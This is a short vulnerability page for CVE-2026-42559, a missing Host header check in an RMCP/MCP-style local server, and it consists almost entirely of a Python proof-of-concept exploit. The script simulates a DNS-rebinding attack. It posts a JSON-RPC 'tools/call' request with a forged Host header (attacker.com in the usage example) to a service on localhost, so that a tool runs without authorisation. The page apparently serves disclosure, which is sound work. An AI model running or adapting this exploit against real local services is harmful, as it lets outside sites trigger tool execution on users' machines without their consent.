CVE-2026-42559 RMCP Host头验证缺失漏洞

# Conceptual PoC demonstrating the impact of missing Host header validation # Attacker side script to simulate the request sent after DNS rebinding import requests def exploit_local_mcp(target_ip, target_port, malicious_host): """ Simulates a request sent by a browser to a local service after DNS rebinding. The Host header is set to the attacker's domain to bypass potential checks that might rely on it, though in this specific vuln, the check is MISSING. """ url = f"http://{target_ip}:{target_port}/api/endpoint" headers = { "Host": malicious_host, # The server fails to validate this "User-Agent": "Mozilla/5.0 (Attacker Browser)", "Content-Type": "application/json" } # Malicious payload to be executed on the local server payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "malicious_tool", "arguments": {} }, "id": 1 } try: response = requests.post(url, json=payload, headers=headers, timeout=5) print(f"[+] Request sent to {url} with Host: {malicious_host}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") except Exception as e: print(f"[-] Exploit failed: {e}") # Usage Example # exploit_local_mcp("127.0.0.1", 8080, "attacker.com")